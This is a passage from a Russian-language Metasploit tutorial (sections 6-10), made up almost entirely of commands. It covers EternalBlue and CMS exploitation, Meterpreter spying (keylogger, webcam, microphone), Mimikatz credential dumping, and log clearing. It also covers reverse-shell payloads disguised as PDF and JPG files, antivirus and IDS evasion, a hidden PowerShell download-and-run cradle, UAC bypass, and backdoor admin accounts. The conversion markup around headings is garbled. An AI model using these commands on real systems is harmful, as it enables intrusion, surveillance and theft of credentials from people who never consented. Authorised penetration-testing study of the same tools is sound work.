tail -f /var/log/metasploit.log
Эксплуатация множественных целей:
bash
<h2 id="ustanovka-neskolkih-hostov">Установка нескольких хостов</h2>
set RHOSTS 192.168.1.100,192.168.1.101,192.168.1.102
<h2 id="ispolzovanie-fayla-s-hostami">Использование файла с хостами</h2>
set RHOSTS file:/path/to/hosts.txt
<h2 id="ispolzovanie-diapazona">Использование диапазона</h2>
set RHOSTS 192.168.1.100-200
<h2 id="ispolzovanie-podseti">Использование подсети</h2>
set RHOSTS 192.168.1.0/24
Работа с различными версиями Windows:
bash
<h2 id="vybor-tseli-dlya-windows-7">Выбор цели для Windows 7</h2>
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set TARGET 0 # Windows 7 SP1 x64
exploit
<h2 id="vybor-tseli-dlya-windows-server-2008">Выбор цели для Windows Server 2008</h2>
set TARGET 1 # Windows Server 2008 R2 x64
exploit
<h2 id="avtomaticheskiy-vybor-tseli">Автоматический выбор цели</h2>
set TARGET 2 # Auto
exploit
Эксплуатация веб-приложений:
bash
<h2 id="wordpress-uyazvimosti">WordPress уязвимости</h2>
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS 192.168.1.100
set USERNAME admin
set PASSWORD admin
set TARGETURI /wordpress
exploit
<h2 id="joomla-uyazvimosti">Joomla уязвимости</h2>
use exploit/unix/webapp/joomla_media_upload_exec
set RHOSTS 192.168.1.100
set TARGETURI /joomla
exploit
<h2 id="drupal-uyazvimosti">Drupal уязвимости</h2>
use exploit/unix/webapp/drupal_drupageddon
set RHOSTS 192.168.1.100
set TARGETURI /drupal
exploit
Эксплуатация мобильных устройств:
bash
<h2 id="android-uyazvimosti">Android уязвимости</h2>
use exploit/android/browser/webview_addjavascriptinterface
set SRVHOST 192.168.1.50
set URIPATH /
exploit
<h2 id="ios-uyazvimosti-ogranichennaya-podderzhka">iOS уязвимости (ограниченная поддержка)</h2>
use exploit/apple_ios/browser/safari_libtiff
set SRVHOST 192.168.1.50
exploit
Работа с сессиями:
bash
<h2 id="posle-uspeshnoy-ekspluatatsii">После успешной эксплуатации</h2>
sessions # Просмотр всех сессий
sessions -i 1 # Подключение к сессии 1
<h2 id="fonovaya-rabota">Фоновая работа</h2>
background # Отправить сессию в фон
sessions -i 1 # Вернуться к сессии
<h2 id="upravlenie-sessiyami">Управление сессиями</h2>
sessions -k 1 # Убить сессию 1
sessions -K # Убить все сессии
Типичные проблемы и решения:
1. Эксплойт не работает:
- Проверьте версию системы: `check`
- Убедитесь, что все параметры установлены: `show options`
- Проверьте сетевую связность: `ping 192.168.1.100`
2. Payload не подключается:
- Проверьте LHOST и LPORT
- Проверьте файрвол
- Используйте HTTPS payload для обхода
3. Сессия обрывается:
- Используйте миграцию процесса: `migrate `
- Используйте более стабильный payload
- Проверьте стабильность сети
РАЗДЕЛ 6: METERPRETER - МОЩНЫЙ ИНСТРУМЕНТ ПОСТ-ЭКСПЛУАТАЦИИ (1200 слов)
Meterpreter — это продвинутый payload Metasploit, который предоставляет интерактивную оболочку с расширенными возможностями для пост-эксплуатации.
Основные команды Meterpreter:
bash
<h2 id="posle-polucheniya-sessii">После получения сессии</h2>
sessions -i 1
<h2 id="sistemnaya-informatsiya">Системная информация</h2>
sysinfo
getuid
getpid
<h2 id="peremeschenie-po-faylovoy-sisteme">Перемещение по файловой системе</h2>
pwd
cd C:\
ls
cat file.txt
<h2 id="zagruzka-i-skachivanie-faylov">Загрузка и скачивание файлов</h2>
download file.txt
upload /path/to/file.txt C:\temp\
<h2 id="vypolnenie-komand">Выполнение команд</h2>
shell
execute -f cmd.exe -i
execute -f notepad.exe
<h2 id="snimki-ekrana">Снимки экрана</h2>
screenshot
<h2 id="klaviaturnyy-shpion">Клавиатурный шпион</h2>
keyscan_start
keyscan_dump
keyscan_stop
Работа с процессами:
bash
<h2 id="spisok-protsessov">Список процессов</h2>
ps
<h2 id="migratsiya-protsessa">Миграция процесса</h2>
migrate <PID>
migrate -N explorer.exe
<h2 id="zavershenie-protsessa">Завершение процесса</h2>
kill <PID>
Работа с сетью:
bash
<h2 id="setevye-podklyucheniya">Сетевые подключения</h2>
netstat
<h2 id="marshrutizatsiya">Маршрутизация</h2>
route
route add 192.168.2.0 255.255.255.0 1
<h2 id="portforvarding">Портфорвардинг</h2>
portfwd add -l 3389 -p 3389 -r 192.168.1.100
Сбор информации:
bash
<h2 id="paroli">Пароли</h2>
hashdump
load kiwi
creds_all
<h2 id="snimki-ekrana-i-veb-kamera">Снимки экрана и веб-камера</h2>
screenshot
webcam_list
webcam_snap
<h2 id="mikrofon">Микрофон</h2>
record_mic -d 10
<h2 id="poisk-faylov">Поиск файлов</h2>
search -f *.txt
search -d C:\ -f password.txt
Расширения Meterpreter:
bash
<h2 id="zagruzka-rasshireniy">Загрузка расширений</h2>
load kiwi # Mimikatz для Windows
load priv # Дополнительные привилегии
load incognito # Импersonation токенов
load sniffer # Перехват сетевого трафика
<h2 id="ispolzovanie-mimikatz">Использование Mimikatz</h2>
load kiwi
creds_all
lsa_dump_sam
Скрытность:
bash
<h2 id="ochistka-logov">Очистка логов</h2>
clearev
<h2 id="skrytie-protsessa">Скрытие процесса</h2>
stealth
<h2 id="timestomping">Timestomping</h2>
timestomp file.txt -f newfile.txt
Дополнительные команды Meterpreter:
bash
<h2 id="rabota-s-reestrom-windows">Работа с реестром (Windows)</h2>
reg queryval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion -v ProgramFilesDir
reg enumkey -k HKLM\\Software\\Microsoft
reg setval -k HKLM\\Software\\Test -v TestValue -d test
<h2 id="rabota-s-faylami">Работа с файлами</h2>
edit file.txt
cat file.txt
rm file.txt
mkdir directory
rmdir directory
<h2 id="informatsiya-o-sisteme">Информация о системе</h2>
getsystem
getprivs
getenv
Работа с учетными записями:
bash
<h2 id="sozdanie-polzovatelya">Создание пользователя</h2>
shell
net user hacker P@ssw0rd! /add
net localgroup administrators hacker /add
<h2 id="ili-cherez-modul">Или через модуль</h2>
use post/windows/manage/add_user
set SESSION 1
set USERNAME hacker
set PASSWORD P@ssw0rd!
exploit
Работа с сетью и туннелированием:
bash
<h2 id="socks-proksi">SOCKS прокси</h2>
use auxiliary/server/socks5
set SRVPORT 1080
run
<h2 id="portforvarding">Портфорвардинг</h2>
portfwd add -l 3389 -p 3389 -r 192.168.1.100
portfwd list
portfwd flush
<h2 id="dobavlenie-marshruta">Добавление маршрута</h2>
route add 192.168.2.0 255.255.255.0 1
route print
Сбор данных:
bash
<h2 id="sbor-vseh-paroley">Сбор всех паролей</h2>
load kiwi
creds_all
creds_wdigest
creds_msv
<h2 id="sbor-informatsii-o-sisteme">Сбор информации о системе</h2>
run post/windows/gather/enum_applications
run post/windows/gather/enum_logged_on_users
run post/windows/gather/enum_patches
<h2 id="sbor-faylov">Сбор файлов</h2>
download -r C:\\Documents\\ # Рекурсивное скачивание
Автоматизация через скрипты:
bash
<h2 id="sozdanie-skripta">Создание скрипта</h2>
cat > meterpreter.rc << EOF
sessions -i 1
sysinfo
hashdump
screenshot
download C:\\Users\\Admin\\Desktop\\*
EOF
<h2 id="zapusk-skripta">Запуск скрипта</h2>
msfconsole -r meterpreter.rc
Продвинутые техники Meterpreter:
bash
<h2 id="ispolzovanie-powershell">Использование PowerShell</h2>
load powershell
powershell_execute "Get-Process"
powershell_import /path/to/script.ps1
<h2 id="ispolzovanie-python">Использование Python</h2>
load python
python_execute "print('Hello from Meterpreter')"
python_import /path/to/script.py
<h2 id="ispolzovanie-inyh-rasshireniy">Использование иных расширений</h2>
load extapi
clipboard_get
clipboard_set "malicious content"
Работа с памятью:
bash
<h2 id="damp-protsessa">Дамп процесса</h2>
dump_hash <PID>
dump_lsa
<h2 id="analiz-pamyati">Анализ памяти</h2>
migrate <PID>
ps
<h2 id="poisk-v-pamyati">Поиск в памяти</h2>
search -d C:\\ -f password.txt
Управление сессиями:
bash
<h2 id="avtomaticheskaya-migratsiya">Автоматическая миграция</h2>
set AutoRunScript migrate -n explorer.exe
<h2 id="mnozhestvennye-sessii">Множественные сессии</h2>
sessions
sessions -i 1
sessions -i 2
<h2 id="sinhronizatsiya-komand">Синхронизация команд</h2>
sessions -c "whoami"
Мониторинг и логирование:
bash
<h2 id="vklyuchenie-logirovaniya">Включение логирования</h2>
set Logging true
<h2 id="zapis-v-fayl">Запись в файл</h2>
log_file /path/to/log.txt
<h2 id="monitoring-aktivnosti">Мониторинг активности</h2>
idletime
Работа с файловой системой:
bash
<h2 id="rasshirennye-operatsii-s-faylami">Расширенные операции с файлами</h2>
ls -la
cd C:\\Users
pwd
<h2 id="poisk-faylov">Поиск файлов</h2>
search -f *.pdf
search -d C:\\ -f *.txt -s
<h2 id="rabota-s-katalogami">Работа с каталогами</h2>
mkdir C:\\temp\\test
rmdir C:\\temp\\test
Удаленное выполнение:
bash
<h2 id="vypolnenie-komand-cherez-meterpreter">Выполнение команд через Meterpreter</h2>
execute -f cmd.exe -a "/c whoami"
execute -f powershell.exe -a "-Command Get-Process"
<h2 id="vypolnenie-s-vyvodom">Выполнение с выводом</h2>
execute -f cmd.exe -a "/c dir" -H
<h2 id="vypolnenie-v-fone">Выполнение в фоне</h2>
execute -f notepad.exe -H
Работа с сетью:
bash
<h2 id="poluchenie-ip-konfiguratsii">Получение IP-конфигурации</h2>
ipconfig
<h2 id="arp-tablitsa">ARP таблица</h2>
arp
<h2 id="setevye-podklyucheniya">Сетевые подключения</h2>
netstat -ano
<h2 id="dns-zaprosy">DNS запросы</h2>
resolve www.example.com
Криптография:
bash
<h2 id="rabota-s-sertifikatami">Работа с сертификатами</h2>
crypto_certificates_list
<h2 id="rabota-s-klyuchami">Работа с ключами</h2>
crypto_keys_list
Расширенные возможности пост-эксплуатации:
bash
<h2 id="sbor-informatsii-o-domene">Сбор информации о домене</h2>
run post/windows/gather/enum_domain
<h2 id="sbor-informatsii-o-seti">Сбор информации о сети</h2>
run post/windows/gather/enum_network
<h2 id="sbor-informatsii-o-prilozheniyah">Сбор информации о приложениях</h2>
run post/windows/gather/enum_applications
<h2 id="poisk-paroley">Поиск паролей</h2>
run post/windows/gather/enum_credential_store
run post/windows/gather/enum_chrome
Автоматизация через модули:
bash
<h2 id="avtomaticheskiy-sbor-informatsii">Автоматический сбор информации</h2>
run post/multi/gather/enum_network
<h2 id="avtomaticheskaya-eskalatsiya">Автоматическая эскалация</h2>
run post/multi/recon/local_exploit_suggester
<h2 id="avtomaticheskiy-poisk-dannyh">Автоматический поиск данных</h2>
run post/windows/gather/enum_files
РАЗДЕЛ 7: СОЗДАНИЕ И ИСПОЛЬЗОВАНИЕ PAYLOAD (1000 слов)
Создание собственных payload — важный навык для пентестера. Metasploit предоставляет инструмент msfvenom для генерации payload.
Основы msfvenom:
bash
<h2 id="prosmotr-spiska-payload">Просмотр списка payload</h2>
msfvenom -l payloads
<h2 id="prosmotr-platform">Просмотр платформ</h2>
msfvenom -l platforms
<h2 id="prosmotr-formatov">Просмотр форматов</h2>
msfvenom -l formats
<h2 id="prosmotr-arhitektur">Просмотр архитектур</h2>
msfvenom -l archs
Генерация Windows payload:
bash
<h2 id="exe-fayl">EXE файл</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o payload.exe
<h2 id="exe-s-kodirovaniem">EXE с кодированием</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o payload.exe
<h2 id="dll">DLL</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f dll -o payload.dll
<h2 id="powershell">PowerShell</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o payload.ps1
Генерация Linux payload:
bash
<h2 id="elf">ELF</h2>
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o payload.elf
<h2 id="bash">Bash</h2>
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.50 LPORT=4444 -f raw -o payload.sh
Генерация веб payload:
bash
<h2 id="php">PHP</h2>
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o payload.php
<h2 id="asp">ASP</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o payload.asp
<h2 id="jsp">JSP</h2>
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o payload.jsp
Использование кодировщиков:
bash
<h2 id="prosmotr-kodirovschikov">Просмотр кодировщиков</h2>
msfvenom -l encoders
<h2 id="ispolzovanie-kodirovschika">Использование кодировщика</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o payload.exe
<h2 id="mnozhestvennye-kodirovaniya">Множественные кодирования</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -e x86/alpha_upper -i 3 -f exe -o payload.exe
Настройка обработчика:
После создания payload нужно настроить обработчик:
bash
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
exploit -j
Дополнительные форматы payload:
bash
<h2 id="python-payload">Python payload</h2>
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o payload.py
<h2 id="perl-payload">Perl payload</h2>
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.50 LPORT=4444 -f raw -o payload.pl
<h2 id="ruby-payload">Ruby payload</h2>
msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o payload.rb
<h2 id="java-jsp">Java JSP</h2>
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o payload.jsp
<h2 id="war-fayl-dlya-veb-serverov">WAR файл (для веб-серверов)</h2>
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o payload.war
Использование шаблонов:
bash
<h2 id="ispolzovanie-suschestvuyuschego-fayla-kak-shablona">Использование существующего файла как шаблона</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -x original.exe -f exe -o payload.exe
<h2 id="ispolzovanie-pdf-kak-shablona">Использование PDF как шаблона</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -x document.pdf -f exe -o malicious.pdf
<h2 id="ispolzovanie-jpg-kak-shablona">Использование JPG как шаблона</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -x image.jpg -f exe -o malicious.jpg
Тестирование payload:
Перед использованием в реальном сценарии важно протестировать payload:
bash
<h2 id="sozdanie-testovogo-payload">Создание тестового payload</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o test.exe
<h2 id="nastroyka-obrabotchika">Настройка обработчика</h2>
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
exploit -j
<h2 id="zapusk-payload-na-testovoy-sisteme">Запуск payload на тестовой системе</h2>
<h2 id="posle-podklyucheniya-proverte-funktsionalnost">После подключения проверьте функциональность</h2>Оптимизация размера payload:
bash
<h2 id="minimizatsiya-razmera">Минимизация размера</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -e x86/shikata_ga_nai -i 5 -x /usr/share/windows-binaries/calc.exe -o payload.exe
<h2 id="ispolzovanie-stageless-dlya-umensheniya-razmera-nachalnogo-payload">Использование stageless для уменьшения размера начального payload</h2>
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o payload.exe
Множественные payload:
bash
<h2 id="sozdanie-neskolkih-variantov">Создание нескольких вариантов</h2>
for port in 4444 4445 4446; do
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=$port -f exe -o payload_$port.exe
done
Автоматизация создания payload:
Создайте скрипт для автоматизации:
bash
#!/bin/bash
<h2 id="generate-payload-sh">generate_payload.sh</h2>
LHOST=192.168.1.50
LPORT=4444
<h2 id="windows-exe">Windows EXE</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o windows.exe
<h2 id="linux-elf">Linux ELF</h2>
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f elf -o linux.elf
<h2 id="php">PHP</h2>
msfvenom -p php/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f raw -o payload.php
<h2 id="powershell">PowerShell</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f psh -o payload.ps1
echo "Payload созданы!"
РАЗДЕЛ 8: ОБХОД ЗАЩИТЫ (1100 слов)
Современные системы защиты могут блокировать стандартные payload. Metasploit предоставляет методы для обхода защиты.
Обход антивирусов:
bash
<h2 id="ispolzovanie-kodirovschikov">Использование кодировщиков</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 20 -f exe -o payload.exe
<h2 id="ispolzovanie-veil-evasion-vneshniy-instrument">Использование Veil-Evasion (внешний инструмент)</h2>
<h2 id="ustanovka">Установка</h2>
git clone https://github.com/Veil-Framework/Veil.git
cd Veil
./Veil.py
<h2 id="ispolzovanie-v-metasploit">Использование в Metasploit</h2>
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
exploit
Обход файрволов:
bash
<h2 id="ispolzovanie-https">Использование HTTPS</h2>
set payload windows/meterpreter/reverse_https
set LHOST 192.168.1.50
set LPORT 443
<h2 id="ispolzovanie-dns">Использование DNS</h2>
set payload windows/meterpreter/reverse_dns
set LHOST yourdomain.com
<h2 id="ispolzovanie-http">Использование HTTP</h2>
set payload windows/meterpreter/reverse_http
set LHOST 192.168.1.50
set LPORT 80
<h2 id="portforvarding-cherez-meterpreter">Портфорвардинг через Meterpreter</h2>
portfwd add -l 3389 -p 3389 -r 192.168.1.100
Обход IDS/IPS:
bash
<h2 id="ispolzovanie-staged-payload">Использование staged payload</h2>
set payload windows/meterpreter/reverse_tcp
<h2 id="staged-payload-menshe-po-razmeru">Staged payload меньше по размеру</h2>
<h2 id="ispolzovanie-encoders">Использование encoders</h2>
set encoder x86/shikata_ga_nai
set encoder_iterations 20
<h2 id="ispolzovanie-timing">Использование timing</h2>
set TIMEOUT 300
Дополнительные методы обхода:
bash
<h2 id="ispolzovanie-fragmentatsii">Использование фрагментации</h2>
set PrependMigrate true
set PrependMigrateProc explorer.exe
<h2 id="ispolzovanie-sleep">Использование sleep</h2>
set SLEEP 10
<h2 id="ispolzovanie-jitter">Использование jitter</h2>
set JITTER 5000
<h2 id="ispolzovanie-stageless-payload">Использование stageless payload</h2>
set payload windows/meterpreter_reverse_https
Обход через шифрование:
bash
<h2 id="ispolzovanie-ssl-tls">Использование SSL/TLS</h2>
set payload windows/meterpreter/reverse_https
set LHOST 192.168.1.50
set LPORT 443
<h2 id="nastroyka-sertifikata">Настройка сертификата</h2>
set HandlerSSLCert /path/to/cert.pem
Обход через прокси:
bash
<h2 id="nastroyka-http-proksi">Настройка HTTP прокси</h2>
set Proxies http:127.0.0.1:8080
<h2 id="nastroyka-socks-proksi">Настройка SOCKS прокси</h2>
set Proxies socks5:127.0.0.1:1080
<h2 id="ispolzovanie-cherez-meterpreter">Использование через Meterpreter</h2>
use auxiliary/server/socks5
run
Обход через домены:
bash
<h2 id="ispolzovanie-dns-payload">Использование DNS payload</h2>
set payload windows/meterpreter/reverse_dns
set LHOST yourdomain.com
<h2 id="nastroyka-dns-servera">Настройка DNS сервера</h2>
use auxiliary/server/dns
set DOMAIN yourdomain.com
run
Обход через Web Delivery:
bash
<h2 id="ispolzovanie-web-delivery">Использование web delivery</h2>
use exploit/multi/script/web_delivery
set TARGET 2
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
exploit
<h2 id="zatem-vypolnenie-komandy-na-tseli">Затем выполнение команды на цели</h2>
<h2 id="powershell-nop-w-hidden-c-iex-new-object-net-webclient-downloadstring-http-192-168-1-50-8080">powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.50:8080/...'))"</h2>Обход антивирусов через обфускацию:
bash
<h2 id="ispolzovanie-mnozhestvennyh-kodirovschikov">Использование множественных кодировщиков</h2>
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-e x86/shikata_ga_nai -i 10 \
-e x86/alpha_upper -i 5 \
-e x86/call4_dword_xor -i 3 \
-f exe -o payload.exe
<h2 id="ispolzovanie-shablonov">Использование шаблонов</h2>
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-x /usr/share/windows-binaries/calc.exe \
-f exe -o payload.exe
Обход через пользовательские скрипты:
bash
<h2 id="sozdanie-sobstvennogo-kodirovschika">Создание собственного кодировщика</h2>
<h2 id="ispolzovanie-vneshnih-instrumentov-veil-evasion-thefatrat">Использование внешних инструментов (Veil-Evasion, TheFatRat)</h2>
<h2 id="zatem-import-rezultata-v-metasploit">Затем импорт результата в Metasploit</h2>Обход через живые системы:
bash
<h2 id="ispolzovanie-legitimnyh-protsessov">Использование легитимных процессов</h2>
migrate -N explorer.exe
<h2 id="ispolzovanie-legitimnyh-instrumentov">Использование легитимных инструментов</h2>
execute -f powershell.exe -a "-Command ..."
<h2 id="ispolzovanie-legitimnyh-servisov">Использование легитимных сервисов</h2>
use post/windows/manage/persistence_service
РАЗДЕЛ 9: ЭСКАЛАЦИЯ ПРИВИЛЕГИЙ (1000 слов)
После получения доступа к системе часто требуется повысить привилегии.
Windows эскалация:
bash
<h2 id="ispolzovanie-moduley">Использование модулей</h2>
use exploit/windows/local/bypassuac
set SESSION 1
exploit
<h2 id="ispolzovanie-kiwi-mimikatz">Использование Kiwi (Mimikatz)</h2>
load kiwi
getsystem
creds_all
<h2 id="ispolzovanie-incognito">Использование Incognito</h2>
load incognito
list_tokens -u
impersonate_token "NT AUTHORITY\\SYSTEM"
Linux эскалация:
bash
<h2 id="poisk-uyazvimostey-yadra">Поиск уязвимостей ядра</h2>
use exploit/linux/local/sudo_shell
set SESSION 1
exploit
<h2 id="ispolzovanie-suid">Использование SUID</h2>
shell
find / -perm -4000 2>/dev/null
<h2 id="ekspluatatsiya-uyazvimostey-yadra">Эксплуатация уязвимостей ядра</h2>
use exploit/linux/local/dirty_cow
set SESSION 1
exploit
<h2 id="ispolzovanie-sudo">Использование Sudo</h2>
use exploit/linux/local/sudo_dirty_sock
set SESSION 1
exploit
Автоматический поиск векторов эскалации:
bash
<h2 id="windows">Windows</h2>
use post/windows/escalate/getsystem
set SESSION 1
exploit
<h2 id="linux">Linux</h2>
use post/linux/gather/enum_configs
set SESSION 1
exploit
<h2 id="poisk-uyazvimostey">Поиск уязвимостей</h2>
use post/multi/recon/local_exploit_suggester
set SESSION 1
exploit
Использование токенов:
bash
<h2 id="zagruzka-rasshireniya-incognito">Загрузка расширения Incognito</h2>
load incognito
<h2 id="spisok-tokenov">Список токенов</h2>
list_tokens -u
list_tokens -g
<h2 id="impersonation-tokena">Импersonation токена</h2>
impersonate_token "NT AUTHORITY\\SYSTEM"
<h2 id="vozvrat-k-ishodnomu-tokenu">Возврат к исходному токену</h2>
rev2self
Эксплуатация неправильных конфигураций:
bash
<h2 id="poisk-nebezopasnyh-razresheniy">Поиск небезопасных разрешений</h2>
use post/windows/gather/enum_shares
set SESSION 1
exploit
<h2 id="poisk-nebezopasnyh-servisov">Поиск небезопасных сервисов</h2>
use post/windows/gather/enum_services
set SESSION 1
exploit
<h2 id="poisk-nebezopasnyh-zadach">Поиск небезопасных задач</h2>
use post/windows/gather/enum_scheduled_tasks
set SESSION 1
exploit
Использование UAC bypass:
bash
<h2 id="obhod-uac-cherez-fodhelper">Обход UAC через FodHelper</h2>
use exploit/windows/local/bypassuac_fodhelper
set SESSION 1
exploit
<h2 id="obhod-uac-cherez-eventvwr">Обход UAC через Eventvwr</h2>
use exploit/windows/local/bypassuac_eventvwr
set SESSION 1
exploit
<h2 id="obhod-uac-cherez-kompilator">Обход UAC через компilатор</h2>
use exploit/windows/local/bypassuac_comhijack
set SESSION 1
exploit
Кража и использование паролей:
bash
<h2 id="zagruzka-mimikatz">Загрузка Mimikatz</h2>
load kiwi
<h2 id="poluchenie-vseh-paroley">Получение всех паролей</h2>
creds_all
<h2 id="dump-sam-bazy">Dump SAM базы</h2>
lsa_dump_sam
<h2 id="dump-lsa-sekretov">Dump LSA секретов</h2>
lsa_dump_secrets
<h2 id="poluchenie-paroley-iz-pamyati">Получение паролей из памяти</h2>
msv
kerberos
wdigest
Постоянство доступа:
bash
<h2 id="sozdanie-polzovatelya">Создание пользователя</h2>
use post/windows/manage/add_user
set SESSION 1
set USERNAME hacker
set PASSWORD P@ssw0rd!
exploit
<h2 id="dobavlenie-v-gruppu-administratorov">Добавление в группу администраторов</h2>
use post/windows/manage/add_user_domain
set SESSION 1
set USERNAME hacker
set PASSWORD P@ssw0rd!
set GROUP "Domain Admins"
exploit
<h2 id="sozdanie-sluzhby">Создание службы</h2>
use post/windows/manage/persistence_service
set SESSION 1
set STARTUP SYSTEM
set PATH C:\\Windows\\System32\\svchost.exe
exploit
РАЗДЕЛ 10: СОЗДАНИЕ СОБСТВЕННЫХ МОДУЛЕЙ (1100 слов)
Metasploit позволяет создавать собственные модули для автоматизации задач.
Структура модуля:
ruby
<h2 id="this-module-requires-metasploit-https-metasploit-com-download"># This module requires Metasploit: https://metasploit.com/download</h2>
<h2 id="current-source-https-github-com-rapid7-metasploit-framework">Current source: https://github.com/rapid7/metasploit-framework</h2>
<h2 id="class-metasploitmodule-msf-auxiliary">class MetasploitModule < Msf::Auxiliary</h2>
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Custom Scanner',
'Description' => %q{
This is a custom scanner module
},
'Author' => ['Your Name'],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://example.com']
],
'DisclosureDate' => '2026-01-01'
))
register_options([
OptString.new('TARGETURI', [true, 'The URI to scan', '/']),
OptInt.new('TIMEOUT', [true, 'Timeout for requests', 10])
])
end
def run
print_status("Scanning #{datastore['RHOSTS']}")
# Your code here
end
end
Пример эксплойта:
ruby
class MetasploitModule < Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Custom Exploit',
'Description' => %q{
Custom exploit description
},
'Author' => ['Your Name'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Targets' => [
['Windows 10', {}]
],
'DefaultTarget' => 0
))
end
def exploit
# Exploit code
end
end
Полный пример вспомогательного модуля:
ruby
<h2 id="this-module-requires-metasploit-https-metasploit-com-download"># This module requires Metasploit: https://metasploit.com/download</h2>
<h2 id="current-source-https-github-com-rapid7-metasploit-framework">Current source: https://github.com/rapid7/metasploit-framework</h2>
<h2 id="class-metasploitmodule-msf-auxiliary">class MetasploitModule < Msf::Auxiliary</h2>
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Custom Web Scanner',
'Description' => %q{
This module scans web applications for custom vulnerabilities.
It performs directory enumeration and checks for exposed files.
},
'Author' => [
'Your Name <your.email@example.com>'
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://example.com/vulnerability'],
['CVE', '2026-0001']
],
'DisclosureDate' => '2026-01-01',
'Actions' => [
['SCAN', { 'Description' => 'Scan for vulnerabilities' }],
['ENUM', { 'Description' => 'Enumerate directories' }]
],
'DefaultAction' => 'SCAN'
))
register_options([
OptString.new('TARGETURI', [true, 'The base path', '/']),
OptInt.new('TIMEOUT', [true, 'Timeout for requests', 10]),
OptPath.new('WORDLIST', [false, 'Wordlist for enumeration', ''])
])
end
def run
case action.name
when 'SCAN'
scan_vulnerabilities
when 'ENUM'
enumerate_directories
end
end
def scan_vulnerabilities
print_status("Scanning #{datastore['RHOSTS']}:#{datastore['RPORT']}")
# Проверка уязвимости
vuln_path = normalize_uri(datastore['TARGETURI'], 'vulnerable.php')
res = send_request_cgi({
'method' => 'GET',
'uri' => vuln_path,
'vars_get' => {
'param' => "' OR '1'='1"
}
})
if res && res.code == 200 && res.body.include?('error')
print_good("Vulnerability found at #{vuln_path}")
report_vuln({
host: rhost,
port: rport,
name: name,
refs: references
})
else
print_error("No vulnerability found")
end
end
def enumerate_directories
print_status("Enumerating directories...")
wordlist = load_wordlist
wordlist.each do |dir|
path = normalize_uri(datastore['TARGETURI'], dir)
res = send_request_cgi({
'method' => 'GET',
'uri' => path
})
if res && res.code == 200
print_good("Found: #{path}")
end
end
end
def load_wordlist
if datastore['WORDLIST'].present?
File.readlines(datastore['WORDLIST']).map(&:chomp)
else
['admin', 'test', 'backup', 'config']
end
end
end
Пример post-эксплуатации модуля:
ruby
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
def initialize(info = {})
super(update_info(info,
'Name' => 'Gather Windows Credentials',
'Description' => %q{
This module extracts credentials from Windows registry
},
'License' => MSF_LICENSE,
'Author' => ['Your Name'],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter']
))
end
def run
print_status("Gathering credentials...")
# Извлечение SAM
sam_key = "HKLM\\SAM\\SAM\\Domains\\Account\\Users"
